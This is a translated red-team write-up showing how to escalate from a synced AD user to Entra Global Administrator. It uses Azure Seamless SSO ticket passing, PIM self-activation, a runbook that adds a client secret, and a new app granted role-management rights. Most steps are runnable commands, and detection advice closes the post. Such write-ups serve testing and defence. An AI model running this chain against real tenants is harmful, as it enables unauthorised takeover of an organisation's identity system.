文章总结: 本文介绍了当Cookie窃取失效时如何利用AzureSeamlessSSO实现新的攻击路径。通过BloodHound图分析和自定义Cypher查询发现从AD同步用户到全局管理员的攻击链,然后利用AzureSeamlessSSO特性进行认证,包括配置Firefox、传递票据和使用设备码认证。文章详细展示了如何利用资源组权限创建自动化Runbook为服务主体添加客户端密钥,最终创建新应用程序并将用户提升为全局管理员,同时提供了检测建议和防护措施。 综合评分: 85 文章分类: 云安全,渗透测试,红队,内网渗透,AI安全
Azure无缝SSO:当Cookie窃取失效时的新攻击路径
Dubito
云原生安全指北
2025年12月16日 08:36 江苏
注:本文翻译自 Specter Ops 的文章《Azure Seamless SSO: When Cookie Theft Doesn’t Cut It》[1],可点击文末“阅读原文”按钮查看英文原文。
全文如下:
摘要
Cookie过期失效了,但攻击路径并未消失。了解如何利用BloodHound图分析与Azure Seamless SSO实现向云的横向移动。
一、引言
没有什么比窃取了一些Cookie,却发现它们已经变质过期更糟糕的了。然而,这并不意味着向云的横向移动就无计可施。利用BloodHound,依然是进行图分析、揭示本地用户、Azure资源和Entra角色之间隐藏关系的最有效方法之一;尤其是当自定义Cypher查询能帮助可视化内置查询无法展现的路径时。
在本博客中,我们将演示Azure Seamless SSO[2]如何提供一个合法的认证流,从而横向移动到Entra ID,并完成通向全局管理员的权限提升链。
二、场景描绘
King Mufasa希望保护他的王座,免受任何通向“Pride Lands”租户全局管理员的攻击路径的威胁,并需要你的帮助。BloodHound中的所有内置查询都未能向你展示一条清晰的攻击路径。你知道存在一个可以滥用来获取全局管理员权限的服务主体(King Mufasa),但你不知道如何到达攻击链中的第一个服务主体(Rafiki)。
Entra攻击路径
三、攻击路径分析
接下来,我们问自己:“是否存在一条从某个Entra用户出发,通向拥有全局管理员攻击路径的服务主体的路径?”在最近一次面临类似场景的项目中,我的同事Paul Kim[3]创建了一个Cypher查询来回答这个问题。
MATCH p=(:AZUser)-[:AZ_ATTACK_PATHS]->(:AZResourceGroup)-[:AZ_ATTACK_PATHS*1..3]->(:AZBase)-[:AZAddSecret]->(:AZServicePrincipal)-[:AZ_ATTACK_PATHS]->(:AZTenant)
RETURN p
通过全局管理员权限访问服务主体的攻击路径
从AD同步用户出发的Entra攻击路径
通过这个查询,我们发现了一个Active Directory用户“Simba”被同步到了一个Entra账户。该Entra账户是一个名为“Pride Rock”的资源组的“所有者(Owner)”。该资源组包含一些在服务主体“Rafiki”上下文中运行的Azure Runbook。这个服务主体是Cloud Application Admin组的成员。该组可以为一个名为“King Mufasa”的服务主体添加客户端密钥。而“King Mufasa”拥有Application.ReadWrite.All和AppRoleAssignment.ReadWrite.All权限,可以创建应用程序并为其授予角色。我们可以利用这条路径来创建我们自己的应用“SpecterOpsApp”,并将一个账户“Simba”添加到全局管理员组。
需要记住的一点是,AzureHound目前不收集资源组的特权用户身份(PIM,Privileged Identity Management)[4]角色资格信息。因此,如果一个账户可以通过PIM成为资源组的所有者,你可能需要手动发现这个信息。我们稍后会介绍如何操作。首先,我们需要找到横向移动到该Entra ID用户的方法!
四、通过Azure Seamless SSO向Azure PowerShell CLI进行认证
我们的首次尝试是横向移动到Simba的工作站,并用Cookie-Monster[5]窃取他的Cookie。检查Cookie时,我们注意到x-ms-RefreshTokenCredential这个Cookie存在。对其进行解码[6]后发现,载荷部分包含"is_primary": "true",这表明用户是使用主刷新令牌向Entra ID进行身份验证的。不幸的是,这个Cookie已经过期了。虽然我们可以按照Matt Creel博客[7]中概述的步骤请求一个新的PRT Cookie,但我们注意到在AD收集数据中存在一个有趣的计算机账户。计算机账户AZUREADSSOACC$ 存在,这意味着“Pride Lands”环境正在使用Azure Seamless SSO。
简而言之,当启用Azure Seamless SSO时,系统会创建一个名为AZUREADSSOACC$ 的计算机账户,并为其设置一个指向HTTP/autologon.microsoftazuread-sso.com的服务主体名称。当用户登录网站时,用户的浏览器会请求该SPN的服务票据,然后Azure AD会授予对网站的访问权限。
Azure Seamless SSO概述
其工作原理的更多细节可以参考:https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works
为了访问利用Azure Seamless SSO的Web应用程序,我们需要模拟用户通过SSO登录。像ROADTools Hybrid[8]或SeamlessPass[9]这样的工具可以做到这一点,但在本次演示中,我们将使用Firefox浏览器,从一台外部机器通过设备代码认证的方式向Azure PowerShell CLI进行身份验证。在使用Firefox之前,需要先在设置中配置允许Microsoft SSO。
五、配置Firefox以使用Azure Seamless SSO
我从Abdulrahman Nour的博客[10]中直接摘录了操作指南,这里做个概述:
- 1. 将特定URL添加到受信区域:
- • 在导航栏输入
about:config - • 搜索首选项
network.negotiate-auth.trusted-uris - • 添加以下URL:
https://autologon.microsoftazuread-sso.com
- 2. 在设置中启用Windows SSO:
- • 进入“设置”
- • 启用“允许Microsoft、工作或学校账户使用Windows单点登录”
在Firefox中启用SSO
六、传递票据
在请求服务票据之前,我建议先用ROADRecon[11]审查目标组织的条件访问策略(CAP,Conditional Access Policies)。CAP可能会在满足某些条件时强制执行MFA,例如登录特定应用程序或从组织外部IP登录。如果你需要将你的Windows工作站流量通过代理系统进入目标组织的网络,可以查阅Nick Powers关于通过SOCKS代理Windows工具[12]的博客。
现在Firefox已正确设置,我们的外部工作站也通过代理将流量导入了“Pride Lands”环境,接下来让我们请求服务票据并将其导入当前会话:
# 在Linux虚拟机上操作
## 请求票据
proxychains getST.py -spn http/autologon.microsoftazuread-sso.com PrideLands/simba:'Password' -dc-ip 10.0.0.1
## 转换为kirbi格式
ticketConverter.py simba@[email protected] simba@[email protected]
cat simba@[email protected] | base64 -w0
# 在Windows虚拟机上操作
## 传递票据
.\Rubeus.exe ptt /ticket:doI...
& "C:\Program Files\Mozilla Firefox\firefox.exe"
传递票据
接下来,我们将为设备码认证请求代理一个PowerShell会话,并通过代理的Firefox会话完成认证流程,以满足条件访问策略的要求:
# 生成设备码
Connect-AzAccount -Tenant <TenantID> -UseDeviceAuthentication
[Login to Azure] To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCDEFGHI to authenticate.
# 译:[登录到 Azure] 要登录,请使用 Web 浏览器打开页面 https://microsoft.com/devicelogin 并输入代码 ABCDEFGHI 进行身份验证。
## 在Firefox会话中访问 https://microsoft.com/devicelogin 并使用生成的设备码登录
## 如果成功,你将看到类似以下的信息
Retrieving subscriptions for the selection…
# 译:正在为所选内容检索订阅...
[Tenant and subscription selection]
No Subscription name Subscription ID Tenant name
—- ——————————- ——————————- ————————–
[1] PRIDELANDS <GUID>
Azure PowerShell CLI 设备代码认证
七、查找符合条件的PIM角色
关于攻击路径,最后需要补充的一点是:如果你的AzureHound收集数据显示不出资源组的所有者,那么了解你的账户是否利用PIM在资源组中获取权限可能会很有帮助。以下是一种发现你的账户符合哪些PIM角色的方法:
$role = Get-AzRoleEligibilitySchedule -Scope “/” -Filter “AsTarget()” | Select-Object ScopeDisplayName, RoleDefinitionDisplayName, Scope, ScopeID, PrincipalID, RoleDefinitionID, Name
$role
ScopeDisplayName : PrideRock
RoleDefinitionDisplayName : Owner
Scope : /subscriptions/<GUID>/resourceGroups/PrideRock
ScopeId : /subscriptions/<GUID>/resourceGroups/PrideRock
PrincipalId : <GUID>
RoleDefinitionId : /subscriptions/<GUID>/providers/Microsoft.Authorization/roleDefinitions/<GUID>
Name : <GUID>
发现已登录用户的PIM角色
如果你符合某个角色的条件,就为该资源组提交激活请求:
$Duration = 2
$Justification = “SpecterOps”
New-AzRoleAssignmentScheduleRequest @roleActivateParams -ErrorAction Stop
$roleActivateParams = @{
Name = New-Guid
Scope = $role.ScopeId
PrincipalId = $role.PrincipalId
RoleDefinitionId = $role.RoleDefinitionId
RequestType = ‘SelfActivate’
LinkedRoleEligibilityScheduleId = $role.Name
ScheduleInfoStartDateTime = Get-Date -Format o
ExpirationDuration = [XmlConvert]::ToString([TimeSpan]::FromHours($Duration))
ExpirationType = “AfterDuration”
Justification = $Justification
}
New-AzRoleAssignmentScheduleRequest @roleActivateParams -ErrorAction Stop
提交角色激活请求
八、创建用于添加客户端密钥的自动化Runbook
现在我们已经拥有了对资源组拥有“所有者”权限的Azure PowerShell CLI会话,让我们枚举一下“Pride Rock”资源组内的资源。
$resources = Get-AzResource -ResourceGroupName “PrideRock”
$resources
Name : Rafiki/ExampleRunbook
ResourceGroupName : PrideRock
ResourceType : Microsoft.Automation/automationAccounts/runbooks
Location : eastus1
ResourceId : /subscriptions/<GUID>/resourceGroups/PrideRock/providers/Microsoft.Automation/automationAccounts/Rafiki/runbooks/ExampleRunbook
$automationAccounts = Get-AzAutomationAccount -ResourceGroupName “PrideRock”
$automationAccounts
SubscriptionId : <GUID>
ResourceGroupName : PrideRock
AutomationAccountName : Rafiki
Location : eastus1
State : Ok
Plan :
CreationTime : 10/31/2025 9:45:32 AM -05:00
LastModifiedTime : 10/31/2025 1:48:22 PM -05:00
LastModifiedBy :
Identity : Microsoft.Azure.Management.Automation.Models.Identity
Encryption :
PublicNetworkAccess : True
枚举资源和自动化账户
我们发现了一个名为“Rafiki”的自动化账户,它会在计划运行Azure Runbook时被使用。Rafiki是云应用程序管理员,可以用来为另一个应用程序添加客户端密钥。接下来,我们将创建一个Runbook,为“King Mufasa”服务主体添加客户端密钥。
$runbookCode = @'
try {
Write-Output "正在使用托管身份连接到Azure..."
# 使用分配给自动化账户的托管身份进行连接
Connect-AzAccount -Identity
Write-Output "成功连接到Azure"
Write-Output "-------------------------------"
# 获取当前上下文以显示身份信息
$context = Get-AzContext
Write-Output "身份信息:"
Write-Output " 运行身份: $($context.Account.Id)"
Write-Output " 账户类型: $($context.Account.Type)"
Write-Output " 租户ID: $($context.Tenant.Id)"
Write-Output " 订阅: $($context.Subscription.Name) ($($context.Subscription.Id))"
Write-Output "-------------------------------"
# 连接到Microsoft Graph
Write-Output "正在连接到Microsoft Graph..."
Connect-MgGraph -Identity
# 搜索应用程序
$appName = "KingMufasa"
Write-Output "正在搜索应用程序: $appName"
$app = Get-MgApplication -Filter "displayName eq '$appName'"
if ($null -eq $app) {
throw "未找到应用程序 '$appName'"
}
Write-Output "找到应用程序:"
Write-Output " 显示名称: $($app.DisplayName)"
Write-Output " 应用程序ID: $($app.AppId)"
Write-Output " 对象ID: $($app.Id)"
Write-Output "-------------------------------"
# 添加新凭据(客户端密钥)
Write-Output "正在向应用程序添加新凭据..."
$passwordCred = @{
DisplayName = "SpecterOps"
EndDateTime = (Get-Date).AddMonths(12) # 有效期为12个月
}
$newCredential = Add-MgApplicationPassword -ApplicationId $app.Id -PasswordCredential $passwordCred
Write-Output "成功添加密码凭据:"
Write-Output " 密钥ID: $($newCredential.KeyId)"
Write-Output " 显示名称: $($newCredential.DisplayName)"
Write-Output " 开始日期: $($newCredential.StartDateTime)"
Write-Output " 结束日期: $($newCredential.EndDateTime)"
Write-Output "-------------------------------"
Write-Output "重要:密钥值(请保存此值,它不会再次显示):"
Write-Output $newCredential.SecretText
Write-Output "-------------------------------"
} catch {
Write-Error "发生错误: $_"
throw
} finally {
# 断开与Microsoft Graph的连接
Disconnect-MgGraph -ErrorAction SilentlyContinue
}
'@
$runbookCode | Out-File "C:\Users\domainuser\SpecterOps-Runbook.ps1" -Encoding UTF8
账户接管自动化Runbook
Runbook发布并执行后,我们可以检索作业结果来获取刚刚添加的客户端密钥。
Import-AzAutomationRunbook -ResourceGroupName “PrideRock” -AutomationAccountName “Rafiki” -Name Import-AzAutomationRunbook -ResourceGroupName “PrideRock” -AutomationAccountName “Rafiki” -Name “Add-ServicePrincipalCredentials” -Path “C:\Users\domainuser\SpecterOps-Runbook.ps1” -Type PowerShell -Force -Published
$job = Start-AzAutomationRunbook -ResourceGroupName “PrideRock” -AutomationAccountName “Rafiki” -Name “Add-ServicePrincipalCredentials”
$jobStatus = Get-AzAutomationJob -ResourceGroupName “PrideRock” -AutomationAccountName “Rafiki” -Id $job.JobId
$outputs = Get-AzAutomationJobOutput -ResourceGroupName “PrideRock” -AutomationAccountName “Rafiki” -Id $job.JobId -Stream Output
foreach ($output in $outputs) {
$record = Get-AzAutomationJobOutputRecord -ResourceGroupName “PrideRock” -AutomationAccountName “Rafiki” -JobId $job.JobId -Id $output.StreamRecordId
# 从Value属性访问实际消息
if ($record.Value.PSObject.Properties[‘Message’]) {
Write-Host $record.Value.Message
} elseif ($record.Value.PSObject.Properties[‘value’]) {
Write-Host $record.Value.value
} else {
# 如果结构不同,则显示完整对象
Write-Host ($record.Value | ConvertTo-Json -Depth 3)
}
}
发布Runbook并检索结果
九、以服务主体身份登录以创建SpecterOpsApp
使用我们添加到“King Mufasa”的凭据,我们可以利用其Application.ReadWrite.All权限,创建一个名为“SpecterOpsApp”的我们自己的应用程序。我们还将利用AppRoleAssignment.ReadWrite.All权限,向“SpecterOpsApp”授予RoleManagement.ReadWrite.Directory权限。拥有了这最后一个权限,我们就可以将“Simba”添加到全局管理员组了。
# 登录
$clientId = "CLIENT-ID"
$tenantId = "TENANT-ID"
$clientSecret = "CLIENT-SECRET"
$secureSecret = ConvertTo-SecureString -String $clientSecret -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $clientId, $secureSecret
# 使用服务主体连接到Azure
Connect-AzAccount -ServicePrincipal -Credential $credential -Tenant $tenantId
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $credential
# 确认我们拥有权限
$mgContext = Get-MgContext
Write-Host "应用程序名称: $($mgContext.AppName)"
Write-Host "权限范围: $($mgContext.Scopes -join ', ')"
# 创建 SpecterOpsApp
$appName = "SpecterOpsApp"
$newApp = New-MgApplication -DisplayName $appName -SignInAudience "AzureADMyOrg"
$sp = New-MgServicePrincipal -AppId $newApp.AppId
$passwordCred = @{
DisplayName = "Generated on $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')"
EndDateTime = (Get-Date).AddMonths(24) # 有效期为24个月
}
$secret = Add-MgApplicationPassword -ApplicationId $newApp.Id -PasswordCredential $passwordCred
$secret
# 保存此密钥!
# 向SpecterOpsApp添加RoleManagement.ReadWrite.Directory角色
$graphSp = Get-MgServicePrincipal -Filter "displayName eq 'Microsoft Graph'"
$permission = $graphSp.AppRoles | Where-Object {
$_.Value -eq "RoleManagement.ReadWrite.Directory"
}
$requiredResourceAccess = @{
ResourceAppId = $graphSp.AppId # Microsoft Graph应用程序ID
ResourceAccess = @(
@{
Id = $permission.Id
Type = "Role"
}
)
}
Update-MgApplication -ApplicationId $newApp.Id -RequiredResourceAccess @($requiredResourceAccess)
创建具有“RoleManagement.ReadWrite.Directory”角色的SpecterOpsApp
十、以SpecterOpsApp身份登录并将用户添加为全局管理员
最后,我们可以以“SpecterOpsApp”身份登录,并将“Simba”添加到全局管理员角色:
# 登录
$clientId = "CLIENT-ID"
$tenantId = "TENANT-ID"
$clientSecret = "CLIENT-SECRET"
$secureSecret = ConvertTo-SecureString -String $clientSecret -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $clientId, $secureSecret
Connect-AzAccount -ServicePrincipal -Credential $credential -Tenant $tenantId
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $credential
$mgContext = Get-MgContext
$role = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
$roleId = $role.Id
# 将目标用户添加为全局管理员
$roleAssignment = @{
"@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/<OBJECT-ID-FOR-USER>"
}
New-MgDirectoryRoleMemberByRef -DirectoryRoleId $role.Id -BodyParameter $roleAssignment
添加到全局管理员组
十一、检测机会
- • 监控Azure AD登录日志:在Azure AD登录日志[13]中,监控那些通常不使用此登录方法的用户的设备码认证协议。
- • 监控应用创建与权限授予:在Azure Monitor[14]中,监控新应用程序的创建以及是否被授予了
RoleManagement.ReadWrite.Directory权限。 - • 监控Azure中的特权角色分配:监控Azure中的特权角色分配[15]活动。
十二、经验总结
Simba 需要我们的帮助来发现潜在的、通往全局管理员的攻击路径。最初由于Cookie过期看似走进了死胡同,却将我们引向了一条合法的认证路径——Azure Seamless SSO。窃取Cookie并非万能,认证路径仍然至关重要。我们将重点从窃取凭据转向理解用户如何向服务进行身份验证,从而能够通过有效的身份验证流程实现横向移动,最终完全控制租户。
BloodHound依然是进行“图分析思维”的绝佳工具。使用BloodHound有助于梳理环境中存在的服务,并发现通往全局管理员的新途径。当内置查询只能描绘出部分图景时,我们利用自定义Cypher查询来帮助识别身份、自动化和云资源是如何相互交织的。在我们的案例中,它将看似死胡同的局面转化为了完整的租户控制。
引用链接
[1] 《Azure Seamless SSO: When Cookie Theft Doesn’t Cut It》: https://specterops.io/blog/2025/12/11/azure-seamless-sso-when-cookie-theft-doesnt-cut-it/
[2] Azure Seamless SSO: https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso
[3] Paul Kim: https://github.com/SpecterUser
[4] 特权用户身份(PIM,Privileged Identity Management): https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-configure
[5] Cookie-Monster: https://github.com/KingOfTheNOPs/cookie-monster
[6] 解码: https://www.jwt.io/
[7] 博客: https://posts.specterops.io/an-operators-guide-to-device-joined-hosts-and-the-prt-cookie-bcd0db2812c4
[8] ROADTools Hybrid: https://github.com/dirkjanm/roadtools_hybrid
[9] SeamlessPass: https://github.com/Malcrove/SeamlessPass
[10] Abdulrahman Nour的博客: https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/
[11] ROADRecon: https://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon#using-the-data
[12] 通过SOCKS代理Windows工具: https://posts.specterops.io/proxy-windows-tooling-via-socks-c1af66daeef3?gi=1a63cf284cd9
[13] Azure AD登录日志: https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins#how-do-you-access-the-sign-in-logs
[14] Azure Monitor: https://learn.microsoft.com/en-us/azure/azure-monitor/platform/activity-log?tabs=log-analytics
[15] 特权角色分配: https://learn.microsoft.com/en-us/azure/role-based-access-control/role-assignments-alert
交流群
查看原文:《Azure无缝SSO:当Cookie窃取失效时的新攻击路径》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论